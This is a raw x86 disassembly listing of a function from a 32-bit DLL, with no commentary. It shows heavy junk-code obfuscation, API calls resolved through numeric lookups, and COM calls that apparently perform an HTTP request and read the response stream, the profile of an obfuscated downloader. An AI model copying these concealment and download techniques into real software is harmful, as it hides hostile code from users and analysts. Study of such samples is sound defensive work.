mov dword [ebp + eax*4 - 0x78], edx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edx
jl 0x1000497c
mov dword [ebp - 0x18], ebx
jmp 0x100049a3
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x224]
mov dword [eax + ecx*4], 0xd5a519d8
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edx
jl 0x10004990
cmp dword [ebp - 0x28], ebx
je 0x10004a74
mov dword [ebp - 0x14], 8
mov dword [ebp - 0x2c], 0xc47d1afd
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x24], edi
mov dword [ebp - 0x24], esi
mov dword [ebp - 0x20], 0xc411
mov dword [ebp - 0x1c], 0xfffffffe
mov dword [ebp - 0x14], ebx
jmp 0x100049ef
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x324], 0xfffffffc
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edx
jl 0x100049de
mov eax, dword [ebp - 0x34]
xor ecx, ecx
mov eax, dword [ebp - 0x28]
cmp eax, edx
mov eax, dword [ebp - 0x224]
setge cl
mov dword [eax], ecx
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x34]
dec eax
neg eax
sbb eax, eax
xor edx, edx
inc eax
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x14]
cmp eax, ecx
setge dl
mov dword [ebp - 0x2c], edx
mov eax, dword [ebp - 0x34]
cmp dword [ebp - 0x20], ebx
jne 0x10004a3a
mov dword [ebp - 0x2c], 0x627189e3
mov eax, dword [ebp - 0x2c]
dec dword [ebp - 0x1c]
mov edx, 0x6f05c239
mov eax, dword [ebp - 0x1c]
xor ecx, ecx
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x78]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x78]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x18]
sub edx, eax
mov eax, dword [ebp - 0x18]
cmp edx, eax
setl cl
mov dword [ebp - 0x1c], ecx
jmp 0x10004b67
push 2
lea ecx, [ebp - 0x2a4]
call fcn.100017ce
push 0x76fc
lea eax, [ebp - 0x32c]
mov byte [ebp - 4], 0x1b
push eax
push 1
push ecx
mov dword [ebp - 0x28], 0xa97cad95
lea ecx, [ebp - 0x2a4]
mov dword [ebp - 0x14], 0x9e9da123
mov edx, 0x7a83
call fcn.10002639
mov eax, dword [ebp - 0x24]
xor ecx, ecx
mov eax, dword [ebp - 0x1c]
add esp, 0x10
mov esi, dword [ebp - 0x2a4]
cmp eax, 4
setne cl
xor eax, eax
cmp ecx, 0xfffffff7
setl al
xor ecx, ecx
cmp eax, dword [esi + 4]
mov eax, dword [ebp - 0x20]
setne cl
xor edx, edx
cmp eax, ecx
mov eax, dword [ebp - 0x224]
setge dl
sub edx, dword [eax]
mov eax, dword [ebp - 0x28]
neg edx
sbb edx, edx
inc edx
mov dword [ebp - 0x24], edx
xor edx, edx
cmp dword [ebp - 0x24], edx
setg dl
xor ecx, ecx
imul edx, dword [esi + 4]
cmp edx, eax
setle cl
xor edx, edx
cmp ecx, 0x8950
setg dl
xor ecx, ecx
add edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x78]
cmp edx, eax
setg cl
xor edx, edx
imul ecx, dword [esi + 4]
mov dword [ebp - 0x14], ecx
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x14]
mov ecx, dword [esi + 4]
mov eax, dword [ebp - 0x14]
neg ecx
sub ecx, eax
mov eax, dword [ebp - 0x2c]
cmp ecx, eax
mov eax, dword [ebp - 0x28]
setle dl
xor ecx, ecx
cmp edx, eax
setne cl
mov dword [ebp - 0x78], ecx
lea ecx, [ebp - 0x2a4]
mov byte [ebp - 4], 0x1a
call fcn.10001830
push ecx
lea eax, [ebp - 0x47]
mov byte [ebp - 0x47], bl
push eax
push 1
push 0x18c6
mov ecx, 0x7b4d
call fcn.1000308b
add esp, 0x10
mov byte [ebp - 4], 0x19
lea ecx, [ebp - 0x224]
call fcn.10001830
mov dword [ebp - 0x14], 0x799040c3
mov dword [ebp - 0x64], 0xff93f8de
mov dword [ebp - 0x18], edi
mov dword [ebp - 0x24], 0xffff
mov dword [ebp - 0x14], ebx
jmp 0x10004bbd
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x58], 0xb064
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x10004baf
cmp dword [ebp - 0x58], 0xe90a624c
mov eax, dword [ebp - 0x54]
sbb ecx, ecx
inc ecx
neg eax
sbb eax, eax
inc eax
add eax, ecx
je 0x10004cbf
xor eax, eax
mov dword [ebp - 0x18], edi
inc eax
lea ecx, [ebp - 0x230]
mov dword [ebp - 0x304], eax
mov dword [ebp - 0x300], eax
mov dword [ebp - 0x2fc], eax
mov dword [ebp - 0x2f8], eax
push 2
call fcn.100017ce
push ecx
push ebx
lea eax, [ebp - 0x230]
mov byte [ebp - 4], 0x1c
push 0x37eb
mov dword [ebp - 0x24], 0xd0c653dd
lea edx, [ebp - 0x308]
push eax
call fcn.100033f4
add esp, 0x10
cmp dword [ebp - 0x54], ebx
jne 0x10004ca0
mov eax, dword [ebp - 0x54]
xor edx, edx
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x54]
cmp eax, ecx
mov ecx, 0x2f3f6085
setge dl
mov dword [ebp - 0x14], edx
xor edx, edx
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x58]
sub ecx, eax
mov eax, dword [ebp - 0x54]
cmp ecx, eax
mov ecx, dword [ebp - 0x54]
mov eax, dword [ebp - 0x54]
setle dl
add ecx, edx
xor edx, edx
cmp ecx, eax
setg dl
mov dword [ebp - 0x304], edx
mov eax, dword [ebp - 0x18]
lea ecx, [edx + 1]
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x230]
setg dl
mov dword [eax], edx
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x54]
lea ecx, [ebp - 0x230]
mov eax, dword [ebp - 0x230]
mov eax, dword [eax]
mov dword [ebp - 0x64], eax
mov eax, dword [ebp - 0x64]
mov dword [ebp - 0x24], eax
jmp 0x10004d73
push 3
lea ecx, [ebp - 0x274]
call fcn.100017ce
push ecx
push ecx
push 1
sub esp, 0x10
mov byte [ebp - 4], 0x1d
lea eax, [ebp - 0x274]
mov dword [ebp - 0x20], 0xbdec7e1e
lea edx, [ebp - 0x188]
push eax
push ecx
call fcn.100030eb
add esp, 0x24
mov dword [ebp - 0x14], 0xd
jmp 0x10004d29
push 0x4ec0
push 1
push 0x3af9
mov edx, 0x5c35
mov cl, 1
call fcn.10003294
add esp, 0xc
lea eax, [ebp - 0x64]
push eax
push ecx
mov cl, 1
call fcn.10003313
inc dword [ebp - 0x14]
pop ecx
pop ecx
cmp dword [ebp - 0x14], 0x18
jl 0x10004cfd
mov eax, dword [ebp - 0x64]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x64]
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x274]
cmp dword [eax], ebx
je 0x10004d57
cmp dword [ebp - 0x18], ebx
jne 0x10004d57
mov eax, ebx
jmp 0x10004d5a
xor eax, eax
inc eax
mov edx, dword [ebp - 0x20]
xor ecx, ecx
imul edx, eax
mov eax, dword [ebp - 0x18]
cmp edx, eax
setg cl
mov dword [ebp - 0x14], ecx
lea ecx, [ebp - 0x274]
mov byte [ebp - 4], 0x19
call fcn.10001830
mov dword [ebp - 0x18], ebx
jmp 0x10004dee
push 3
lea ecx, [ebp - 0x248]
call fcn.100017ce
mov byte [ebp - 4], 0x1e
mov dword [ebp - 0x14], ebx
jmp 0x10004daa
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x248]
mov dword [eax + ecx*4], 0x44fe3780
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jl 0x10004d97
push 1
push 1
push 1
push 0x3e27
push 0x621a
mov edx, 0x584
lea ecx, [ebp - 0x248]
call fcn.10002589
mov eax, dword [ebp - 0x18]
lea ecx, [ebp - 0x248]
add esp, 0x14
mov byte [ebp - 4], 0x19
cmp dword [ebp + eax*4 - 0x58], ebx
jne 0x10004df6
call fcn.10001830
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 1
jle 0x10004d81
jmp 0x10004dfb
call fcn.10001830
cmp dword [ebp - 0x2a8], 8
lea ecx, [ebp - 0x3ac]
push ecx
lea eax, [ebp - 0x2bc]
mov esi, 0x497e
cmovae eax, dword [ebp - 0x2bc]
push eax
push 0x2fca
push esi
call fcn.1003e4fd
pop ecx
pop ecx
call eax
test eax, eax
jne 0x10005399
cmp dword [ebp - 0x284], 8
lea ecx, [ebp - 0x3dc]
push ecx
lea eax, [ebp - 0x298]
cmovae eax, dword [ebp - 0x298]
push eax
push 0x2fca
push esi
call fcn.1003e4fd
pop ecx
pop ecx
call eax
test eax, eax
jne 0x10005399
lea eax, [ebp - 0x38]
push eax
lea eax, [ebp - 0x3ac]
push eax
push 3
push ebx
lea eax, [ebp - 0x3dc]
push eax
push 0x2fca
push 0x4226
call fcn.1003e4fd
pop ecx
pop ecx
call eax
test eax, eax
js 0x10005399
cmp dword [ebp - 0x38], 0
je 0x10005399
push ecx
push 0x117f
push ecx
push 1
lea edx, [ebp - 0x380]
call fcn.100033c6
add esp, 0x10
mov dword [ebp - 0x6c], 0x1101a902
xor eax, eax
mov byte [ebp - 0x68], bl
mov word [ebp - 0x378], ax
mov byte [ebp - 0x67], 0x22
push 0x74
pop eax
push 2
mov word [ebp - 0x168], ax
pop esi
movzx eax, byte [ebp + esi - 0x6e]
movzx ecx, byte [ebp + esi - 0x6b]
movzx eax, word [ebp + eax*2 - 0x16c]
mov edx, eax
and eax, ecx
or edx, ecx
sub edx, eax
movzx eax, byte [ebp + esi - 0x6c]
add esi, 2
mov word [ebp + eax*2 - 0x16c], dx
cmp esi, 6
jb 0x10004edb
mov dword [ebp - 0x2c], 0x5300
cmp dword [ebp - 0x2c], 0x540c
jle 0x10004f6f
mov dword [ebp - 0x1c], ebx
mov edi, ebx
mov esi, ebx
mov ecx, ebx
mov ebx, dword [ebp - 0x1c]
mov dword [ebp - 0x20], ecx
lea eax, [edi + ebx]
xor eax, ecx
mov ecx, 0x1007ba38
xor eax, esi
cdq
push edx
push eax
call fcn.10005547
mov ecx, dword [ebp - 0x20]
inc ecx
mov dword [ebp - 0x20], ecx
cmp ecx, 0x1094
jl 0x10004f29
inc esi
push 0
pop ebx
cmp esi, 0x53f
jl 0x10004f21
inc edi
cmp edi, 0x5d0f
jl 0x10004f1f
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x1c], eax
cmp eax, 0x7125
jl 0x10004f1d
xor eax, eax
mov byte [ebp - 4], 0x1f
cmp dword [ebp - 0x2c], 0x5064
mov word [ebp - 0x166], ax
jge 0x10004fb2
mov edx, str.nmryjmrf_nlns_osiscivl
mov ecx, 0x1007ba38
call fcn.100078f4
jmp 0x10004fb2
mov esi, dword [ebp - 0x5c]
lea ecx, [ebp - 0x1ac]
mov dword [ebp - 4], 0x19
xor eax, eax
mov word [ebp - 0x1ac], ax
lea eax, [ebp - 0x16c]
push eax
mov dword [ebp - 0x198], 7
mov dword [ebp - 0x19c], ebx
call fcn.10005bf3
mov byte [ebp - 4], 0x21
lea ecx, [ebp - 0x1ac]
cmp dword [ebp - 0x198], 8
mov eax, dword [ebp - 0x19c]
cmovae ecx, dword [ebp - 0x1ac]
push dword [ebp - 0x188]
mov dword [ebp - 0x16c], ebx
mov dword [ebp - 0x168], ebx
lea eax, [ecx + eax*2]
mov dword [ebp - 0x1d4], ebx
lea ecx, [ebp - 0x1ac]
mov dword [ebp - 0x1d0], ebx
cmovae ecx, dword [ebp - 0x1ac]
push eax
push ecx
lea ecx, [ebp - 0x1d4]
mov dword [ebp - 0x1cc], ebx
call fcn.1000821c
push 1
push 1
push ebx
push 0x48c2
lea edx, [ebp - 0x1d4]
mov byte [ebp - 4], 0x22
mov ecx, 0x6c41
call fcn.10002d8b
add esp, 0x10
cmp dword [esi + 0x14], 8
jb 0x10005071
mov ecx, dword [esi]
jmp 0x10005073
mov ecx, esi
cmp dword [esi + 0x14], 8
mov eax, dword [esi + 0x10]
lea eax, [ecx + eax*2]
jb 0x10005081
mov esi, dword [esi]
push dword [ebp - 0x188]
lea ecx, [ebp - 0x1c4]
mov dword [ebp - 0x1c4], ebx
push eax
push esi
mov dword [ebp - 0x1c0], ebx
mov dword [ebp - 0x1bc], ebx
call fcn.1000821c
lea eax, [ebp - 0x184]
mov byte [ebp - 4], 0x23
push eax
lea ecx, [ebp - 0x1c4]
mov dword [ebp - 0x184], ebx
call fcn.1000587e
cmp dword [ebp - 0x198], 8
lea edx, [ebp - 0x1ac]
lea esi, [ebp - 0x354]
mov eax, dword [ebp - 0x38]
cmovae edx, dword [ebp - 0x1ac]
sub esp, 0x10
mov edi, esp
sub esp, 0x10
mov ecx, dword [eax]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov edi, esp
lea esi, [ebp - 0x354]
sub esp, 0x10
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov edi, esp
lea esi, [ebp - 0x380]
push dword [ebp - 0x1c4]
push edx
movsd dword es:[edi], dword [esi]
push eax
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
call dword [ecx + 0x1c]
test eax, eax
js 0x10005355
mov esi, dword [ebp - 0x178]
mov cl, 1
mov dword [ebp - 0x160], ebx
cmp esi, dword [ebp - 0x174]
je 0x1000517b
add esi, 0x18
test cl, cl
je 0x10005163
cmp dword [esi + 0x14], 8
jb 0x10005142
mov edi, dword [esi]
jmp 0x10005144
mov edi, esi
cmp dword [esi - 4], 8
jb 0x1000514f
mov edx, dword [esi - 0x18]
jmp 0x10005152
lea edx, [esi - 0x18]
mov eax, dword [ebp - 0x38]
push edi
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x20]
mov cl, 1
test eax, eax
jns 0x10005165
mov cl, bl
add esi, 0x30
lea eax, [esi - 0x18]
cmp eax, dword [ebp - 0x174]
jne 0x10005134
test cl, cl
je 0x10005355
mov eax, dword [ebp - 0x38]
lea esi, [ebp - 0x354]
sub esp, 0x10
mov edi, esp
mov ecx, dword [eax]
push eax
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
call dword [ecx + 0x2c]
test eax, eax
js 0x10005355
mov eax, dword [ebp - 0x38]
lea edx, [ebp - 0x160]
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x34]
test eax, eax
js 0x10005355
cmp dword [ebp - 0x160], 0x130
je 0x100051cf
cmp dword [ebp - 0x160], 0xc8
jne 0x10005355
mov eax, dword [ebp - 0x38]
lea edx, [ebp - 0x3bc]
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x48]
test eax, eax
js 0x10005355
mov esi, dword [ebp - 0x3b4]
mov dword [ebp - 0x1c], esi
test esi, esi
je 0x10005355
mov eax, dword [esi]
lea ecx, [ebp - 0x50c]
push 1
push ecx
push esi
call dword [eax + 0x30]
test eax, eax
js 0x1000534f
mov eax, dword [ebp - 0x504]
lea edx, [ebp - 0x194]
mov dword [ebp - 0x7c], eax
lea eax, [ebp - 0x7c]
push eax
push ecx
push 1
push 0x325c
push ecx
call fcn.10002601
mov edx, dword [ebp - 0x7c]
mov edi, ebx
add esp, 0x14
mov dword [ebp - 0x14], edx
mov dword [ebp - 0x154], ebx
mov dword [ebp - 0x17c], edi
mov eax, dword [ebp - 0x194]
lea edx, [ebp - 0x154]
mov ecx, dword [esi]
add eax, edi
push edx
mov edx, dword [ebp - 0x14]
push edx
push eax
push esi
call dword [ecx + 0xc]
test eax, eax
js 0x10005332
push 1
push ecx
push 0xd23
lea eax, [ebp - 0x154]
mov edx, 0x4f5c
push eax
push ecx
lea ecx, [ebp - 0x17c]
call fcn.10002e06
mov dword [ebp - 0x20], 0x6cda
add esp, 0x14
cmp dword [ebp - 0x20], 0x6f6c
jle 0x100052c6
mov edi, ebx
mov esi, ebx
mov eax, esi
mov ecx, 0x1007ba38
xor eax, edi
cdq
push edx
push eax
call fcn.10005547
inc esi
cmp esi, 0x24dd
jl 0x100052a0
inc edi
cmp edi, 0x3dec
jl 0x1000529e
mov esi, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x14]
sub edx, dword [ebp - 0x154]
mov byte [ebp - 4], 0x24
cmp dword [ebp - 0x20], 0x69d0
mov dword [ebp - 0x14], edx
mov dword [ebp - 0x24], edx
jge 0x10005318
mov edx, str.wszoqjab_ubp_qzdbm_ikwlr_zsfwg_flgglibz
mov ecx, 0x1007ba38
call fcn.100078f4
jmp 0x10005318
mov dword [ebp - 4], 0x23
mov edi, dword [ebp - 0x17c]
mov eax, dword [ebp - 0x7c]
cmp edi, eax
jb 0x10005247
jmp 0x10005335
mov eax, dword [ebp - 0x7c]
cmp edi, eax
je 0x1000534f
lea eax, [ebp - 0x194]
push eax
push 0x2f47
push 1
call fcn.10002b81
add esp, 0xc
mov eax, dword [esi]
push esi
call dword [eax + 8]
push ecx
push 1
lea eax, [ebp - 0x38]
mov edx, 0x734
push eax
push 0x4bdd
call fcn.100033f4
add esp, 0x10
mov dword [ebp - 0x38], ebx
lea ecx, [ebp - 0x1c4]
call fcn.10005de8
lea ecx, [ebp - 0x1d4]
call fcn.10005de8
push ebx
push 1
lea ecx, [ebp - 0x1ac]
mov byte [ebp - 4], 0x19
call fcn.10005c7b
push 0x2fca
push 0x52ac
call fcn.1003e4fd
pop ecx
pop ecx
call eax
push 1
mov edx, 0x422c
call fcn.100036e0
pop ecx
mov ecx, dword [ebp - 0x1d8]
lea eax, [ebp - 0x194]
push eax
call fcn.100057c9
push ebx
push 1
lea ecx, [ebp - 0x298]
call fcn.10005c7b
push ebx
push 1
lea ecx, [ebp - 0x2bc]
call fcn.10005c7b
lea ecx, [ebp - 0x178]
call fcn.10005cf7
lea ecx, [ebp - 0x194]
call fcn.10005d72
lea ecx, [ebp + 8]
call fcn.10005cf7
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret